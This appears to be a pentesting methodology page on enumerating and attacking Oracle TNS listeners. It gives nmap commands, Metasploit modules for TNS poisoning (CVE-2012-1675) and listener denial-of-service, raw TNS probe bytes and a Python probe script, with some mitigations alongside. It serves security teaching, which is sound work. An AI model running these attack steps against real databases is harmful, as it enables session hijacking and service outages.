🕵️
VeryLazyTech
📜 Medium🛒 My Shop👾 Github📩 Telegram 📺 YouTube✖ Twitter
  • 🕵️Welcome!
    • VeryLazyTech
    • Support VeryLazyTech
      • 👾 GitHub
      • 📜 Medium
      • ☕ My Shop
      • 📺 YouTube
      • ✖ Twitter
      • 📩 Telegram
  • 🛡️ Vulnerabilities and Exploits
    • CVE - POC
      • Unauthenticated RCE Flaw in Rejetto HTTP File Server - CVE-2024-23692
      • POC - CVE-2024–4956 - Nexus Repository Manager 3 Unauthenticated Path Traversal
      • POC - CVE-2024-45241: Path Traversal in CentralSquare's CryWolf
      • Telerik Auth Bypass CVE-2024-4358
      • Check Point Security Gateways Information Disclosure - CVE-2024-24919
      • CVE-2024-23897 - Jenkins File Read Vulnerability
      • CVE-2024–10914- Command Injection Vulnerability in name parameter for D-Link NAS
      • POC - CVE-2024-21534 Jsonpath-plus vulnerable to Remote Code Execution (RCE)
      • CVE-2024-9935 - PDF Generator Addon for Elementor Page Builder <= 1.7.5 - Unauthenticated Arbitrary
      • CVE-2024-50623- Cleo Unrestricted file upload and download
      • POC - WordPress File Upload plugin, in the wfu_file_downloader.php file before version <= 4.24.11
      • POC - Remote and unauthenticated attacker can send crafted HTTP requests to RCE - cve-2025-3248
      • POC - CVE-2025–2539 File Away <= 3.9.9.0.1 - Missing Authorization to Unauthenticated Arbitrary File
      • POC - CVE-2025-29306 FOXCMS /images/index.html Code Execution Vulnerability
  • 🕵️‍♂️Dorks
    • GitHub Dorks
    • Google Dork Online Tool
  • 📚 Resources
    • Top Hacking Books for 2024: FREE and Paid
    • How to Study for OSCP with the PWK Book PDF
    • Top 20 phishing tools to use in 2024
    • Top 8 Bug Bounty Books for 2025: Must-Reads for Ethical Hackers
    • Top Hacking Tools and Skills You Need to Learn in 2025
    • Offensive Cloud
    • Penetration Testing & Hacking Tools List
    • Top Cybersecurity Books by Topic
  • The Ultimate Penetration Testing Methodology (2025 Edition)
  • 🕸️Pentesting Web
    • Client Side Template Injection (CSTI)
    • Identify a Server’s Origin IP
    • 2FA/MFA/OTP Bypass
  • IDOR
  • Open Redirect
  • Subdomain Takeover
  • Penetration Testing WiFi Networks
  • Client-Side Path Traversal
  • Clickjacking
  • Command Injection
  • JWT Vulnerabilities
  • Bypass rating limit
  • CORS - Misconfigurations & Bypass
  • LDAP Injection
  • File upload vulnerabilities
  • Content Security Policy (CSP) bypass
  • Brute Force - Services, web, local, tools & wordlists
  • 🐧Linux
    • Practical Linux Commands
    • Bypassing Bash Restrictions - Rbash
    • Privilege escalation - Linux
  • Linux Environment Variables
  • 🪟Windows
    • Active Directory Methodology
    • Antivirus (AV) Bypass
  • 🌐Network Pentesting
    • FTP - Port 21
    • SSH- Port 22
    • Telnet - Port 23
    • SMTP/s - Port 25,465,587
    • WHOIS - Port 43
    • TACACS+ - Port 49
    • DNS - Port 53
    • TFTP/Bittorrent-tracker - Port 69/UDP
    • Finger - Port 79
    • Web - Port 80,443
    • Kerberos - Port 88
    • POP - Port 110/995
    • Portmapper - Port 111/TCP/UDP
    • Ident - Port 113
    • NTP - Port 123/UDP
    • MSRPC - Port 135, 539
    • NetBios - Port 137,138,139
    • SMB - Port 139 445
    • IMAP - Port 143, 993
    • SNMP - Ports 161, 162, 10161, and 10162/UDP
    • IRC - Ports 194,6667,6660-7000
    • Check Point Firewall - Port 264
    • LDAP - Ports 389, 636, 3268, 3269
    • IPsec/IKE VPN - Port 500/UDP
    • Modbus - Port 502
    • Rexec - Port 512
    • Rlogin - Port 513
    • Rsh - Port 514
    • Line Printer Daemon (LPD) - Port 515
    • Apple Filing Protocol (AFP) - PORT 548
    • RTSP - Port 554, 8554
    • IPMI - Port 623/UDP/TCP
    • Internet Printing Protocol (IPP) - Port 631
    • EPP - Port 700
    • Rsync - Port 873
    • Rusersd Service - Port 1026
    • Socks - Port 1080
    • Java RMI - RMI-IIOP - Port 1098/1099/1050
    • MSSQL (Microsoft SQL Server) - Port 1433
    • Oracle TNS Listener - Port 1521,1522-1529
  • PPTP - Port 1723
  • MQTT (Message Queuing Telemetry Transport) - Port 1883
  • Compaq HP Insight Manager - Port 2301, 2381
  • NFS Service - Port 2049
  • Docker - Port 2375,2376
  • Squid - Port 3128
  • iScsi - Port 3260
  • SAPRouter - Port 3299
  • 😎Post-exploitation
    • File Transfer Cheatsheet: Windows and Linux
  • 🧑‍🔧Technical guides
    • Kali Linux - Installation
Powered by GitBook
On this page
  • Basic info
  • 1. Understanding Oracle TNS and Default Ports
  • 2. Common Vulnerabilities in TNS Listeners
  • 2.2. No Listener Authentication
  • 2.3. Information Disclosure via Listener STATUS
  • 3. Enumeration Techniques
  • 4. Exploitation Techniques
  • 5. Custom Python Script to Enumerate Listener Services

Was this helpful?

  1. Network Pentesting

Oracle TNS Listener - Port 1521,1522-1529

  • Become VeryLazyTech member! 🎁

  • Follow us on:

    • ✖ Twitter @VeryLazyTech.

    • 👾 Github @VeryLazyTech.

    • 📜 Medium @VeryLazyTech.

  • Visit our shop for e-books and courses. 📚

  • Support us and buy me a coffee. ☕

Basic info

Oracle databases are widely used across industries for storing sensitive enterprise data. However, their exposure to the network — especially via the Transparent Network Substrate (TNS) listener — can introduce serious security risks. Oracle TNS operates over default port 1521, but in complex environments, you may encounter instances on 1522–1529 or even beyond. This article provides in-depth techniques for enumerating, exploiting, and securing Oracle TNS listeners, with real-world examples and practical commands.


1. Understanding Oracle TNS and Default Ports

What is TNS?

TNS (Transparent Network Substrate) is Oracle’s proprietary protocol that enables communication between Oracle clients and databases across a network. It allows connections, sessions, and commands like CONNECT, DATA, RESOLVE, etc., to flow through Oracle listeners.

Default Ports

  • 1521 — Primary default listener port

  • 1522–1529 — Often used for additional listeners, RAC (Real Application Clusters), or other configured services

In real-world Oracle deployments, multiple listener processes may be used for load balancing, high availability, or segregation of duties across applications.


2. Common Vulnerabilities in TNS Listeners

2.1. CVE-2012–1675 — TNS Poison Attack

Description: A critical vulnerability allowing attackers to hijack database sessions by registering rogue services with the listener.

Impact: MITM attacks, data exfiltration, and full control over database traffic.

Mitigation: Use VALID_NODE_CHECKING_REGISTRATION = YES and restrict registration IPs.


2.2. No Listener Authentication

Many Oracle listeners are deployed with no password or authentication, allowing unauthenticated attackers to:

  • View service names

  • Stop, start, or reload the listener

  • Perform Denial-of-Service (DoS) attacks


2.3. Information Disclosure via Listener STATUS

An attacker can request a STATUS command to retrieve:

  • Hostnames

  • Service names

  • Instance names

  • Database version


3. Enumeration Techniques

3.1. Nmap Scanning

Start by identifying open ports and checking for Oracle services.

nmap -sV -p 1521-1529 <target_ip>

Use the Oracle-specific NSE script:

nmap -p 1521 --script oracle-tns-version <target_ip>

3.2. Checking with Metasploit

msfconsole
use auxiliary/admin/oracle/tnslsnr_version
set RHOSTS <target_ip>
set RPORT 1521
run

Output reveals the listener version, hostname, and Oracle SID.


3.3. Using TNSping

Oracle client installations come with tnsping:

tnsping <listener_alias>

Alternatively, simulate TNSping with Python or Netcat by sending crafted TNS packets.


3.4. Manual Enumeration Using Telnet or Netcat

nc <target_ip> 1521

Send raw TNS packets:

\x00\x00\x00\x36\x01\x00\x00\x00\x01\x36\x01\x2c\x00\x00\x00\x00

You can script this using Python socket module to brute-force or enumerate SIDs.


4. Exploitation Techniques

4.1. Exploiting TNS Poison Attack (CVE-2012–1675)

Metasploit Module:

use auxiliary/admin/oracle/tnspoison
set RHOSTS <target_ip>
set RPORT 1521
run

Warning: This module may crash the listener or disrupt sessions. Use only in lab or authorized environments.


4.2. Exploiting Unauthenticated Listener Control

If listener commands like STATUS, STOP, or RELOAD are unauthenticated:

use auxiliary/admin/oracle/tnslsnr_version
use auxiliary/admin/oracle/tnslsnr_service

You can perform a Denial-of-Service:

use auxiliary/dos/oracle/tnslsnr_dos

5. Custom Python Script to Enumerate Listener Services

import socket
def send_tns_probe(ip, port):
    tns_pkt = b"\x00\x00\x00\x2a\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
    try:
        s = socket.socket()
        s.settimeout(3)
        s.connect((ip, port))
        s.send(tns_pkt)
        response = s.recv(1024)
        print(f"[+] Response from {ip}:{port}:\n{response.hex()}")
    except Exception as e:
        print(f"[-] Failed to connect to {ip}:{port} - {str(e)}")
send_tns_probe("10.0.0.25", 1523)

Learn & practice For the OSCP.

Support VeryLazyTech 🎉
  • Become VeryLazyTech member! 🎁

  • Follow us on:

    • ✖ Twitter @VeryLazyTech.

    • 👾 Github @VeryLazyTech.

    • 📜 Medium @VeryLazyTech.

    • 📺 YouTube @VeryLazyTech.

    • 📩 Telegram @VeryLazyTech.

    • 🕵️‍♂️ My Site @VeryLazyTech.

  • Visit our shop for e-books and courses. 📚

  • Support us and buy me a coffee. ☕

PreviousMSSQL (Microsoft SQL Server) - Port 1433NextPPTP - Port 1723

Last updated 1 month ago

Was this helpful?

🌐